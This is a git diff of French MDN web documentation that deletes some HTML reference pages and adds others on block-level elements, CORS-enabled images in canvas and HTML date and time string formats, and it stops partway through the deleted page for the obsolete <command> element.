- - diff --git a/files/fr/web/html/attributs_universels/x-ms-format-detection/index.html b/files/fr/web/html/attributs_universels/x-ms-format-detection/index.html deleted file mode 100644 index f11309e1b5..0000000000 --- a/files/fr/web/html/attributs_universels/x-ms-format-detection/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: x-ms-format-detection -slug: Web/HTML/Attributs_universels/x-ms-format-detection -tags: - - Attribut - - HTML - - Non-standard - - Reference -translation_of: Web/HTML/Global_attributes/x-ms-format-detection ---- -
{{HTMLSidebar("Global_attributes")}}{{Non-standard_Header}}
- -

L'attribut x-ms-format-detection détermine si le format de la donnée dans le contenu est détectée automatiquement et, lorsqu'elle est trouvée, est convertie en un lien sur lequel on peut cliquer.

- -
-

Note : Les liens créés grâce à la détection de format n'apparaissent pas dans le DOM.

-
- -

{{Non-standard_inline}}Cette propriété est spécifique à Internet Explorer et à Microsoft Edge.

- -

Syntaxe

- -
<html x-ms-format-detection="none">
-
- -

Valeurs

- -

Cet attribut peut prendre une chaîne de caractères parmi les suivantes comme valeur :

- -
-
all
-
Tous les formats de donnée pris en charge sont détectés.
-
none
-
La détection de format est désactivée.
-
phone
-
Seuls les numéros de téléphone sont détectés.
-
- -
-

Note : Les liens créés via la détection de format n'auront pas d'impact sur le contenu ou sur la disposition du DOM.

-
- -

Exemples

- -

Pour désactiver la détection automatique sous certaines conditions, on pourra par exemple utiliser JavaScript afin d'ajouter x-ms-format-detection sur les éléments qu'on soit sur un mobile (détection activée) ou sur un ordinateur de bureau (détection désactivée) :

- -
if (window.matchMedia('(min-width: 1024px)').matches) {
-    var e = document.getElementsByClassName("phone");
-    for (i = 0; i < e.length; i++)
-        e[i].setAttribute("x-ms-format-detection", "none");
-}
-
- -

Dans cet exemple, les numéros de téléphone conservent la mise en forme tant que la zone d'affichage (viewport) est moins large que 1024 pixels.

- -

Voir aussi

- - diff --git a/files/fr/web/html/block-level_elements/index.html b/files/fr/web/html/block-level_elements/index.html new file mode 100644 index 0000000000..c099de574f --- /dev/null +++ b/files/fr/web/html/block-level_elements/index.html @@ -0,0 +1,126 @@ +--- +title: Éléments de bloc +slug: Web/HTML/Éléments_en_bloc +tags: + - Débutant + - HTML + - Web +translation_of: Web/HTML/Block-level_elements +--- +
{{HTMLSidebar}}
+ +

Les éléments de bloc forment une catégorie d'éléments HTML (HyperText Markup Language) en opposition aux éléments en ligne.

+ +

Leur caractéristique principale réside dans le fait qu'ils sont séparés par un saut de ligne avant et après l'élément (créant ainsi un « bloc » de contenu). On peut, en quelque sorte, les représenter comme des blocs empilés les uns sur les autres. Ce faisant, ils prennent la largeur de leurs conteneurs.

+ +
+

Note : Un élément de bloc commence toujours sur une nouvelle ligne et prend toute la largeur disponible (autrement dit, il s'étend le plus possible vers la droite et vers la gauche).

+
+ +

Exemples

+ +

HTML

+ +
<p>Ce paragraphe est un élément de bloc. Son fond a été coloré pour illustrer son conteneur.</p>
+ +

CSS

+ +
p {
+  background-color: #8ABB55;
+}
+ +

Résultat

+ +

{{EmbedLiveSample('Exemples')}}

+ +

Contrainte

+ +
    +
  • Les éléments de bloc ne peuvent apparaître qu'au sein d'un élément {{HTMLElement("body")}}
    • +
+ +

Élément de bloc ou élément en ligne ?

+ +

Les éléments de bloc diffèrent des éléments en ligne par :

+ +
+
La mise en forme
+
Par défaut, les éléments de bloc commencent sur des nouvelles lignes.
+
Le modèle de contenu
+
De façon générale, les éléments de bloc peuvent contenir des éléments en ligne et d'autres éléments de bloc. L'idée structurelle sous-jacente est que les éléments de bloc créent de plus grandes structures que les éléments en ligne.
+
+ +

La distinction entre bloc et ligne est utilisée dans les spécifications HTML jusqu'à la version 4.01. En HTML5, cette distinction binaire est remplacée par un ensemble plus complexe de catégories de contenu. La catégorie des éléments en bloc correspond approximativement à la catégorie de contenu de flux en HTML5, celle des éléments en ligne correspond à la catégorie de contenu phrasé. Il y a également d'autres catégories (le contenu interactif par exemple).

+ +

Éléments

+ +

La liste qui suit contient tous les éléments HTML en bloc (cette catégorie n'est pas strictement applicable pour les éléments apparus avec HTML5).

+ +
+
+
{{HTMLElement("address")}}
+
Information de contact.
+
{{HTMLElement("article")}}
+
Contenu d'un article.
+
{{HTMLElement("aside")}}
+
Contenu tangentiel.
+
{{HTMLElement("blockquote")}}
+
Long bloc de citation.
+
{{HTMLElement("details")}}
+
Outil permettant de révéler des informations sur la page.
+
{{HTMLElement("dialog")}}
+
Boîte de dialogue.
+
{{HTMLElement("dd")}}
+
Description d'une définition.
+
{{HTMLElement("div")}}
+
Division d'un document.
+
{{HTMLElement("dl")}}
+
Liste de définitions.
+
{{HTMLElement("dt")}}
+
Définition/description d'un terme.
+
{{HTMLElement("fieldset")}}
+
Ensemble de champs.
+
{{HTMLElement("figcaption")}}
+
Légende d'une image.
+
{{HTMLElement("figure")}}
+
Permet de grouper des média avec une légende (voir {{HTMLElement("figcaption")}}).
+
{{HTMLElement("footer")}}
+
Bas de page ou de section.
+
{{HTMLElement("form")}}
+
Formulaire.
+
{{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}
+
Éléments de titre de niveau 1 à 6.
+
{{HTMLElement("header")}}
+
En-tête de page ou de section.
+
{{HTMLElement("hgroup")}}
+
Information d'en-tête de groupe.
+
{{HTMLElement("hr")}}
+
Ligne de division horizontale.
+
{{HTMLElement("li")}}
+
Élément d'une liste.
+
{{HTMLElement("main")}}
+
Contient le contenu central unique au document.
+
{{HTMLElement("nav")}}
+
Contient des liens de navigation.
+
{{HTMLElement("ol")}}
+
Liste ordonnée.
+
{{HTMLElement("p")}}
+
Paragraphe.
+
{{HTMLElement("pre")}}
+
Texte pré-formaté.
+
{{HTMLElement("section")}}
+
Section d'une page web.
+
{{HTMLElement("table")}}
+
Tableau.
+
{{HTMLElement("ul")}}
+
Liste non-ordonnée.
+
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/html/contenu_editable/index.html b/files/fr/web/html/contenu_editable/index.html deleted file mode 100644 index 01e1691ed1..0000000000 --- a/files/fr/web/html/contenu_editable/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Contenu éditable -slug: Web/HTML/Contenu_editable -translation_of: Web/Guide/HTML/Editable_content ---- -

Introduction

-

Chaque élément du HTML5 peut être éditable. Cette fonctionnalité a été introduite longtemps auparavant mais a maintenant été standarisée avec WHATWG (voir la spécification HTML actuelle). Avec des gestionnaires d'événements JavaScript, vous pouvez transformer votre page Web en un éditeur de texte, complet et rapide.

-

Compatibilité

-

Le contenu éditable est entièrement compatible avec les navigateurs actuels :

-
    -
  • Firefox 3.5+
    • -
  • Chrome 6.0+
    • -
  • Internet Explorer 6.0+
    • -
  • Safari 3.2+
    • -
  • Opera 8+
    • -
  • iOS Safari 5.0+
    • -
  • Android Browser 3.0+
    • -
-

Ce n'est pas encore supporté par Opera Mini et Opera Mobile.

-

Comment ça marche ?

-

Fixez l'attribut contenteditable à true dans votre élément HTML. Ça peut être fait dans quasiment tous les éléments HTML.

-

Exemples

-

Un exemple simple :

-
<!DOCTYPE html>
-<html>
-  <body>
-    <div contenteditable="true">
-      Ce texte peut être édité par l'utilisateur.
-    </div>
-  </body>
-</html>
-

Vous pouvez observer un exemple concret intégrant JavaScript utilisant LocalStorage ici. Le code source est disponible ici.

-

Voir aussi

-

Comment interagir avec le contenu (style proche de l'ancienne API Internet Explorer) ou encore ici.

-
- {{ languages({ "ja": "ja/HTML/Content_Editable", "zh-cn": "zh-cn/HTML/Content_Editable" }) }}
diff --git a/files/fr/web/html/cors_enabled_image/index.html b/files/fr/web/html/cors_enabled_image/index.html new file mode 100644 index 0000000000..e0f92b24c7 --- /dev/null +++ b/files/fr/web/html/cors_enabled_image/index.html @@ -0,0 +1,117 @@ +--- +title: Images avec le contrôle d'accès HTTP +slug: Web/HTML/Images_avec_le_contrôle_d_accès_HTTP +tags: + - Avancé + - CORS + - Canvas + - HTML + - Reference +translation_of: Web/HTML/CORS_enabled_image +--- +
{{QuickLinksWithSubpages("/fr/docs/Web/HTML/")}}
+ +

HTML permet d'utiliser l'attribut {{htmlattrxref("crossorigin", "img")}} sur les images. Utilisé avec un en-tête {{Glossary("CORS")}} adéquat, les images définies par {{HTMLElement("img")}} provenant d'origines étrangères pourront être utilisées au sein d'un élément {{HTMLElement("canvas")}} comme si elles avaient été chargées depuis l'origine courante.

+ +

Pour plus de détails sur l'attribut crossorigin, voir les attributs de paramétrage du CORS.

+ +

Canevas corrompu et sécurité

+ +

Les pixels composant un canevas pouvant venir de différentes sources, notamment d'images ou de vidéos récupérées depuis des hôtes tiers, il est nécessaire de se prémunir contre certains problèmes de sécurité.

+ +

Dès que des données sont chargées dans le canevas depuis une autre origine sans avoir été « approuvées » par le CORS, le canevas devient corrompu (tainted). Dès qu'un canevas est corrompu, il n'est plus considéré comme sécurisé et toute tentative de récupérer des données depuis les données de l'image résultera en une exception.

+ +

Si la source du contenu tiers est un élément HTML {{HTMLElement("img")}} ou SVG {{SVGElement("svg")}}, il n'est plus permis de récupérer le contenu du canevas.

+ +

Si la source du contenu tiers est une image obtenue à partir d'un {{domxref("HTMLCanvasElement")}} ou d'une {{domxref("ImageBitMap")}} et que la source de l'image ne respecte pas les règles quant à l'unicité de l'origine, il ne sera pas possible de lire le contenu du canevas.

+ +

Appeler l'une des méthodes suivantes sur un canevas corrompu déclenchera une erreur :

+ +
    +
  • {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}} sur le contexte du canevas
    • +
  • {{domxref("HTMLCanvasElement.toBlob", "toBlob()")}} sur l'élément {{HTMLElement("canvas")}}
    • +
  • {{domxref("HTMLCanvasElement.toDataURL", "toDataURL()")}} sur le canevas
    • +
+ +

L'exception levée par de tels appels sera une exception SecurityError. Cette mesure protège les utilisateurs contre l'exposition de données privées via des images provenant de sites tiers sans permission.

+ +

Stocker une image provenant d'une origine tierce

+ +

Dans cet exemple, on souhaite autoriser la récupération et l'enregistrement d'images provenant d'une autre origine. Pour parvenir à ce résultat, il faudra configurer le serveur et également écrire du code pour le site web.

+ +

Configuration serveur

+ +

Pour commencer, configurons le serveur stockant les images avec un en-tête {{HTTPHeader("Access-Control-Allow-Origin")}} qui permet un accès multi-origines aux fichiers images.

+ +

Dans la suite de cet exemple, on prendra le cas d'un site est servi via Apache. On pourra utiliser le fragment de configuration serveur Apache pour les images CORS :

+ +
<IfModule mod_setenvif.c>
+  <IfModule mod_headers.c>
+    <FilesMatch "\.(bmp|cur|gif|ico|jpe?g|png|svgz?|webp)$">
+      SetEnvIf Origin ":" IS_CORS
+      Header set Access-Control-Allow-Origin "*" env=IS_CORS
+    </FilesMatch>
+  </IfModule>
+</IfModule>
+ +

Pour résumer, cela permet de configurer le serveur afin de pouvoir accéder aux fichiers graphiques (ceux avec les extensions ".bmp", ".cur", ".gif", ".ico", ".jpg", ".jpeg", ".png", ".svg", ".svgz", and ".webp") depuis d'autres origines, d'où qu'elles soient sur Internet.

+ +

Implémenter l'enregistrement

+ +

Maintenant que le serveur est configuré pour permettre la récupération d'image depuis plusieurs origines, on peut écrire le code qui permet à l'utilisateur d'enregistrer les images en stockage local comme si elles étaient servies depuis le même domaine que le code.

+ +

Pour cela, on utilise l'attribut {{htmlattrxref("crossorigin")}} en définissant {{domxref("HTMLImageElement.crossOrigin", "crossOrigin")}} sur l'élément {{domxref("HTMLImageElement")}} sur lequel l'image sera chargée. Ainsi, on indique au navigateur de demander un accès multi-origine lors du téléchargement de l'image.

+ +

Démarrer le téléchargement

+ +

Voici le code qui démarre le téléchargement (déclenché par exemple lorsque l'utilisateur clique sur un bouton « Télécharger ») :

+ +
function startDownload() {
+  let imageURL = "https://cdn.glitch.com/4c9ebeb9-8b9a-4adc-ad0a-238d9ae00bb5%2Fmdn_logo-only_color.svg?1535749917189";
+
+  downloadedImg = new Image;
+  downloadedImg.crossOrigin = "Anonymous";
+  downloadedImg.addEventListener("load", imageReceived, false);
+  downloadedImg.src = imageURL;
+}
+ +

Ici, l'URL de l'image à télécharger est codée en dur mais cette valeur pourrait très bien provenir d'un argument passé à la fonction. Pour démarrer le téléchargement, on crée un nouvel objet {{domxref("HTMLImageElement")}} grâce au constructeur {{domxref("HTMLImageElement.Image", "Image()")}}. L'image est ensuite configurée afin de permettre un téléchargement multi-origine grâce à l'attribut crossOrigin paramétré avec "Anonymous" (qui permet le téléchargement, non-authentifié, d'une image multi-origine). Un gestionnaire d'évènement est ajouté afin de réagir à l'évènement {{event("load")}} lorsque l'image a été reçue.

+ +

Enfin, l'attribut {{domxref("HTMLImageElement.src", "src")}} de l'image est défini avec l'URL de l'image à télécharger et le téléchargement démarre.

+ +

Recevoir et enregistrer l'image

+ +

Voici le fragment de code exécuté lorsque l'image a été téléchargée :

+ +
function imageReceived() {
+  let canvas = document.createElement("canvas");
+  let context = canvas.getContext("2d");
+
+  canvas.width = downloadedImg.width;
+  canvas.height = downloadedImg.height;
+
+  context.drawImage(downloadedImg, 0, 0);
+  imageBox.appendChild(canvas);
+
+  try {
+    localStorage.setItem("saved-image-example", canvas.toDataURL("image/png"));
+  }
+  catch(err) {
+    console.log("Error: " + err);
+  }
+}
+ +

imageReceived() est invoquée lorsque l'évènement "load" est déclenché sur l'élément HTMLImageElement qui reçoit l'image téléchargée. Cet évènement se produit lorsque l'ensemble des données téléchargées est disponible. Cette fonction commence par créer un nouvel élément {{HTMLElement("canvas")}} qui sera utilisé afin de convertir l'image en une URL de donnée. On récupère également un accès au contexte du canevas pour dessiner en 2D ({{domxref("CanvasRenderingContext2D")}}) dans la variable context.

+ +

La taille du canevas est ajustée afin que ses dimensions correspondent à celles de l'image. L'image est ensuite dessinée dans le canevas grâce à {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}. Le canevas est alors inséré dans le document et l'image y devient visible.

+ +

Enfin, on enregistre l'image dans le stockage local. Pour cela, on utilise les méthodes de l'API Web Storage en passant par la variable globale {{domxref("Window.localStorage", "localStorage")}}. La méthode {{domxref("HTMLCanvasElement.toDataURL", "toDataURL()")}} est utilisée afin de convertir l'image en une URL de données représentant une image PNG qui est enregistrée dans l'espace local grâce à la méthode {{domxref("Storage.setItem", "setItem()")}}.

+ +

Vous pouvez essayer ou adapter cet exemple sur Glitch.

+ +

Voir aussi

+ + diff --git a/files/fr/web/html/date_and_time_formats/index.html b/files/fr/web/html/date_and_time_formats/index.html new file mode 100644 index 0000000000..f9da6c5f01 --- /dev/null +++ b/files/fr/web/html/date_and_time_formats/index.html @@ -0,0 +1,457 @@ +--- +title: Formats de date et d'heure utilisés en HTML +slug: Web/HTML/Formats_date_heure_HTML +tags: + - Date + - Guide + - HTML + - Time +translation_of: Web/HTML/Date_and_time_formats +--- +
{{HTMLRef}}
+ +

Certains éléments HTML manipulent des valeurs temporelles pour des dates ou des heures. Les formats utilisés pour les chaînes de caractères qui définissent ces valeurs sont décrits dans cet article. Les éléments qui utilisent ces données sont notamment les éléments {{HTMLElement("input")}} qui permettent de choisir une date, une heure ou les deux, les éléments {{HTMLElement("ins")}} et {{HTMLElement("del")}} dont l'attribut {{htmlattrxref("datetime", "ins")}} indique la date (ou la date et l'heure) à laquelle l'ajout ou la suppression de contenu a eu lieu.

+ +

Pour les éléments <input>, voici les différents type (cf. {{htmlattrxref("type", "input")}}) pour lesquels l'attribut {{htmlattrxref("value")}} contient une chaîne de caractères représentant une date ou une heure :

+ +
+ +
+ +

Exemples

+ +

Avant de détailler plus, voyons quelques exemples de chaînes de caractères utilisées en HTML et qui représentent des valeurs temporelles.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Exemple de chaînes de caractères utilisées en HTML pour représenter des dates et des heures
Chaîne de caractèresDate/heure
2005-06-077 juin 2005[détails]
08:4508h45m (le matin)[détails]
08:45:2508h45m25s[détails]
0033-08-04T03:4003h40 (du matin), le 04 août 33[détails]
1977-04-01T14:00:3030 secondes après 14h00, le premier avril 1977[détails]
1901-01-01T00:00ZMinuit, UTC, le 1er janvier 1901[détails]
1901-01-01T00:00:01-04:00Minuit passé d'une seconde sur l'heure de l'Est (EST), le 1er janvier 1901[détails]
+ +

Notions essentielles

+ +

Avant de s'intéresser aux différents formats pour la représentation textuelle des valeurs temporelles en HTML, commençons par décrire comment ces valeurs sont définies formellement. HTML utilise une variation du standard {{interwiki("wikipedia", "ISO 8601")}} pour les chaînes de caractères représentant les dates et les heures. Il est toujours utile de vérifier que le format utilisé est compatible avec HTML car la spécification HTML utilise des algorithmes pour analyser ces chaînes qui sont plus précis que le standard ISO 8601 (il peut donc y avoir quelques fines différences).

+ +

Jeu de caractères

+ +

En HTML, les chaînes qui représentent des dates et des heures manipulent uniquement des caractères {{interwiki("wikipedia", "ASCII")}}.

+ +

Numérotation des années

+ +

La spécification HTML indique que les années doivent être exprimées selon le calendrier grégorien. Bien que les interfaces utilisateur permettent éventuellement de saisir des dates grâce à d'autres calendriers, la valeur sous-jacente est toujours représentée à l'aide du calendrier grégorien.

+ +

Bien que le calendrier grégorien ait été créé en 1582 afin de remplacer le calendrier julien, la notation grégorienne est « étendue » en HTML jusqu'à 1 après J.C. Aussi, si vous manipulez des dates antérieures à 1582, assurez-vous qu'elles soient bien exprimées selon le calendrier grégorien.

+ +

En HTML, les années sont toujours écrites avec au moins 4 chiffres. Aussi, les années antérieures à l'an 1000 sont complétées avec des zéros : l'an 72 est donc écrit 0072. Les années antérieures à l'an 1 ne sont pas prises en charge par HTML.

+ +

Une année est normalement constituée de 365 jours, sauf pendant les {{anch("Années bissextiles", "années bissextiles")}}.

+ +

Années bissextiles

+ +

Une année bissextile est une année dont le numéro est:

+ +
    +
  • Divisible par 400 ou,
    • +
  • Divisible par 4 mais pas par 100
    • +
+ +

Bien qu'une année calendaire s'étende sur 365 jours, la Terre met environ 365,2422 jours avant d'effectuer une orbite complète autour du soleil. Les années bissextiles permettent d'ajuster le calendrier et de le synchroniser avec la position de la planète le long de l'orbite. Ajouter un jour tous les 4 ans (environ) permet d'avoir une année moyenne longue de 365,25 jours, ce qui est relativement correct.

+ +

En ajustant l'algorithme avec les contraintes ci-avant (divisible par 400 ou divisible par 4 mais pas par 100), on s'approche plus précisement du nombre correct de jours (365,2425). Des secondes intercalaires sont parfois ajoutées au calendrier afin de compenser les trois millièmes restant et le ralentissement naturel de la rotation de la Terre.

+ +

Le deuxième mois de l'année (février) possède 28 jours pendant les années non-bissextiles et 29 jours pendant les années bissextiles.

+ +

Mois de l'année

+ +

Une année comporte 12 mois, numérotés de 1 à 12. Les valeurs des mois sont toujours représentées par une chaîne de caractères se composant de deux chiffres : des valeurs entre 01 et 12. Voir le tableau ci-après pour les numéros des mois et le nombre de jours correspondant.

+ +

Jours du mois

+ +

Les mois numérotés 1, 3, 5, 7, 8, 10 et 12 possèdent 31 jours. Les mois 4, 6, 9 et 11 possèdent 30 jours. Le deuxième mois, février, possède 28 jours sauf pendant les années bissextiles où il possède 29 jours. Le tableau ci-après détaille les mois et leurs noms, ainsi que leur durée en jours.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Les mois de l'année et leur durée en jours
Numéro du moisNom (en français))Durée du mois (en nombre de jours)
01Janvier31
02Février28 (29 pour les années bissextiles)
03Mars31
04Avril30
05Mai31
06Juin30
07Juillet31
o8Août31
09Septembre30
10Octobre31
11Novembre30
12Décembre31
+ +

Représentation des semaines

+ +

Une chaîne de caractères représentant une semaine correspondra à une semaine d'une année donnée. Aussi, une chaîne de caractères valide pour représenter une semaine se compose de 4 chiffres représentant l'année, suivis d'un tiret ("-" ou U+002D), suivi de la lettre majuscule "W" (U+0057), suivie d'un numéro de semaine sur deux chiffres.

+ +

Le numéro de la semaine est une chaîne de caractères, avec deux chiffres, entre 01 et 53. Chaque semaine commence un lundi et se termine un dimanche. Il est ainsi possible que les premiers jours de janvier fassent partie de la dernière semaine de l'année précédente et que les derniers jours fassent partie de la première semaine de l'année suivante. La première semaine de l'année est celle qui contient le premier jeudi de l'année. Ainsi, le premier jeudi de 1953 était le 1er janvier et la semaine contenant ce jour est donc considérée la première semaine de l'année. Ainsi, le 30 décembre 1952 appartient à la semaine 1953-W01.

+ +

Une année aura 53 semaines si :

+ +
    +
  • Le premier jour de l'année calendaire (le premier janvier) est un jeudi ou
    • +
  • Le premier jour de l'année calendaire (le premier janvier) est un mercredi et que l'année est une {{anch("Années bissextiles", "année bissextile")}}.
    • +
+ +

Les autres années contiennent 52 semaines.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Exemples de chaînes de caractères valides pour représenter des semaines
Chaîne de caractèresSemaine et année (intervalle de dates)
2001-W37Semaine 37 de l'année 2001 (entre le 10 et le 16 septembre 2001)
1953-W01Semaine 1 de l'année 1953 (entre le 29 décembre 1952 et le 4 janvier 1953)
1948-W53Semaine 53 de l'année 1948 (entre le 27 décembre 1948 et le 2 janvier 1949)
1949-W01Semaine 1 de l'année 1949 (entre le 3 janvier et le 9 janvier 1949)
0531-W16Semaine 16 de l'année 531 (entre le 13 avril et le 19 avril 531)
0042-W04Semaine 4 de l'année 42 (entre le 21 et le 27 janvier 42)
+ +

On notera que les deux composantes pour l'année et pour la semaine sont complétées avec des zéros à gauche afin que l'année soit exprimée sur 4 chiffres et que la semaine soit exprimée sur 2 chiffres.

+ +

Représentation des mois

+ +

Une chaîne de caractères pour un mois représente un mois d'une année donnée (plutôt qu'un mois « générique »). Aussi, on ne représentera pas simplement le mois de janvier mais le mois de janvier de l'année 1972.

+ +

Une chaîne de caractères représentant un mois est valide si elle commence par un numéro d'année valide (une chaîne de caractères composée de quatre chiffres), suivie d'un tiret ("-", ou U+002D), suivi d'un nombre sur deux chiffres où 01 représente janvier et où 12 représente décembre.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Exemples de chaînes de caractères valides pour la représentation d'un mois
Chaîne de caractèresLe mois et l'année
17310-09Le mois de septembre de l'année 17310
2019-01Le mois de janvier de l'année 2019
1993-11Le mois de novembre de l'année 1993
0571-04Le mois d'avril de l'année 571
0001-07Le mois de juillet de l'an 1
+ +

On notera que les années sont exprimées sur au moins 4 chiffres et que les années antérieures à 1000 sont préfixées de 0.

+ +

Représentation des dates

+ +

Une chaîne de caractères représentant une date est valide si elle contient : une année (cf. ci-avant) suivie d'un tiret, suivi d'un mois, suivi d'un tiret ("-" ou U+002D) suivi du numéro du jour dans le mois sur deux chiffres.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
Exemples de chaînes de caractères valides pour représenter des dates
Chaîne de caractèresDate complète
1993-11-011er novembre 1993
1066-10-1414 octobre 1066
0571-04-2222 avril 571
0062-02-055 février 62
+ +

Représentation des heures

+ +

Une chaîne de caractères représentant une heure peut décrire différentes précisions : minute, seconde ou milliseconde. Il n'est pas possible d'indiquer uniquement l'heure ou les minutes. Une chaîne valide se compose a minima d'une valeur sur deux chiffres représentant une heure, suivi de deux-points (":", U+003A) puis d'une valeur sur deux chiffres exprimant les minutes. La valeur des minutes peut ensuite être suivie d'un autre deux-points puis d'une valeur sur deux chiffres pour les secondes. Il est possible d'indiquer les millisecondes en ajoutant un point (".", U+002E) après les secondes, suivi d'une valeur sur un, deux ou trois chiffres.

+ +

Voici quelques règles supplémentaires :

+ +
    +
  • L'heure est toujours exprimée selon une horloge sur 24 heures où 00 correspond à minuit et où 23 correspond à onze heures du soir. Aucune valeur en dehors de l'intervalle 00–23 n'est autorisée.
    • +
  • La valeur représentant les minutes doit être composée de deux chiffres et être située entre 00 et 59. Les valeurs en dehors de cet intervalle ne sont pas autorisées.
    • +
  • Si les secondes ne sont pas exprimées, il ne faut pas que la valeur se termine par un deux-points (après les minutes).
    • +
  • Si les secondes sont exprimées, leur nombre doit être entre 00 et 59. Il n'est pas possible d'indiquer des secondes intercalaires à l'aide de valeurs telles que 60 ou 61.
    • +
  • Si le nombre de secondes est indiqué et que c'est un entier, il ne doit pas être suivi d'un point.
    • +
  • Si les millisecondes sont indiquées, la valeur correspondante peut être composée d'un à trois chiffres.
    • +
+ + + + + + + + + + + + + + + + + + + + + + + +
Exemples de chaînes de caractères valides pour exprimer une heure
Chaîne de caractèresHeure
00:00:30.75Minuit passé de 30 secondes et 750 millisecondes
12:15Midi passé de quinze minutes
13:44:2513 heures 44 et 25 secondes
+ +

Représentation des dates et heures locales

+ +

Une chaîne de caractères datetime-local se compose d'une chaîne de caractères représentant une date, suivie de la lettre "T" ou d'une espace puis d'une chaîne de caractères représentant une heure. La représentation ne contient aucune information quant au fuseau horaire dont il est question et on présume que la valeur temporelle indiquée est relative au fuseau horaire de l'utilisateur.

+ +

Lorsqu'on définit la valeur de l'attribut {{htmlattrxref("value", "input")}} d'un champ datetime-local, la chaîne de caractères est normalisée. Les formes normalisées utilisent toujours la lettre T comme séparateur entre la date et l'heure. De plus, les formes normalisées utilisent toujours la forme la plus courte pour exprimer l'heure (les secondes sont omises si leur valeur est :00).

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
Exemples de chaînes de caractères valides pour l'expression de dates/heures
Chaîne de caractèresVersion normaliséeDate et heure correspondantes
1986-01-28T11:38:00.011986-01-28T11:38:00.0128 janvier 1986 à 11 heures et 38 minutes passées de 10 millisecondes
1986-01-28 11:38:00.0101986-01-28T11:38:00.01128 janvier 1986 à 11 heures et 38 minutes passées de 10 millisecondes
0170-07-31T22:00:000170-07-31T22:00231 juillet 170 à 22 heures
+ +
    +
  1. On notera qu'après la normalisation, on obtient la même chaîne que sur l'exemple précédent : l'espace séparateur a été remplacé par un "T" et le zéro de terminaison a été supprimé pour raccourcir la chaîne de l'heure.
    2. +
  2. On notera que la forme normalisée de cette date ne contient pas l'expression des secondes.
    3. +
+ +

Représentation des dates et heures universelles

+ +

Une valeur de date/heure universelle exprime la date et l'heure mais aussi le fuseau horaire de l'instant. Une chaîne de caractères représentant une telle valeur commence de la même façon qu'une chaîne de caractère représentant une date/heure locale, suivie d'une chaîne de caractères indiquant le décalage horaire.

+ +

Chaîne de caractères exprimant le décalage horaire

+ +

La chaîne de caractères qui décrit le décalage horaire contient un décalage positif d'heures et de minutes, relativement à un fuseau de base. Il existe deux points de référence qui sont très proches sans être identiques :

+ +
    +
  • Pour les dates situées après la création du temps coordonné universel (UTC, {{interwiki("wikipedia", "Coordinated Universal Time")}}) au début des années 60, le point de référence est indiqué avec Z et le décalage indique le décalage d'un fuseau horaire par rapport au méridien situé à la longitude 0° (méridien de Greenwich).
    • +
  • Pour les dates antérieures à UTC, le point de référence est exprimé en {{interwiki("wikipedia", "UT1")}}, qui correspond au temps solaire au méridien de longitude 0°.
    • +
+ +

La chaîne de caractères indiquant le décalage est directement ajoutée après la valeur pour la date et l'heure. Si la date et l'heure sont déjà exprimées relativement à UTC, on pourra simplement suffixer "Z", sinon, on construira le complément de la façon suivante :

+ +
    +
  1. Un caractère indiquant le signe du décalage : le plus ("+" ou U+002B) pour les fuseaux situés à l'est du méridien ou le moins ("-" ou U+002D) pour les fuseaux situés à l'ouest.
    2. +
  2. Deux chiffres indiquant le nombre d'heures de décalage par rapport au méridien. Cette valeur doit être comprise entre 00 et 23.
    3. +
  3. Deux-points (":") (nécessaires uniquement si le décalage contient des minutes)
    4. +
  4. Deux chiffres indiquant les minutes de décalage. Cette valeur doit être comprise entre 00 et 59.
    5. +
+ +

Bien que ces règles permettent d'exprimer des fuseaux horaires entre -23:59 et +23:59, l'intervalle actuel des décalages horaires est -12:00 à +14:00 et il n'y a pas de fuseau horaire pour lequel le décalage en minutes est différent de 00, 30 ou 45. Cela peut en théorie évoluer à tout moment car les pays sont libres de modifier leur fuseau horaire quand ils le souhaitent.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
Exemples de chaînes de caractères valides pour l'expression de dates/heures universelles
Chaîne de caractèresDate/heure universelleDate/heure sur le méridien solaire
2005-06-07T00:00Z7 juin 2005 à minuit UTC7 juin 2005 à minuit
1789-08-22T12:30:00.1-04:0022 août 1789 à midi trente (passé d'un dixième de seconde) selon l'heure avancée de l'Est (Eastern Daylight Time (EDT))22 août 1789 à 16 heures trente passées d'un dixième de seconde
3755-01-01 00:00+10:001er janvier 3755 à minuit pour le fuseau AEST (Australian Eastern Standard Time)31 décembre 3754 à 14h
+ +

Voir aussi

+ + diff --git a/files/fr/web/html/element/command/index.html b/files/fr/web/html/element/command/index.html deleted file mode 100644 index d5bdf50924..0000000000 --- a/files/fr/web/html/element/command/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: ' : l''élément de commande' -slug: Web/HTML/Element/command -tags: - - Element - - HTML - - Obsolete - - Reference -translation_of: Web/HTML/Element/command ---- -
{{obsolete_header}}{{HTMLRef}}
- -

L'élément HTML <command> représente une commande qui peut être lancée par l'utilisateur. Ces commandes font généralement partie d'un menu contextuel ou d'une barre d'outils mais on peut les exécuter n'importe où sur la page.

- -
-

Note : L'élément <command> est inclus dans la spécification du W3C mais pas dans celle du WHATWG. Par ailleurs, à l'heure actuelle, aucun navigateur ne prend en charge cet élément.

-
- -

Attributes

- -

Comme pour tous les éléments, on peut utiliser les attributs universels sur cet élément.

- -
-
{{htmlattrdef("checked")}}
-
Cet attribut indique que la commande est sélectionnée. Il ne doit pas être utilisé si l'attribut type ne vaut pas checkbox ou radio.
-
{{htmlattrdef("disabled")}}
-
Cet attribut indique que la commande n'est pas disponible.
-
{{htmlattrdef("icon")}}
-
Cet attribut fournit une image qui représente la commande.
-
{{htmlattrdef("label")}}
-
Cet attribut indique le nom de la commande telle qu'elle est affichée à l'utilisateur.
-
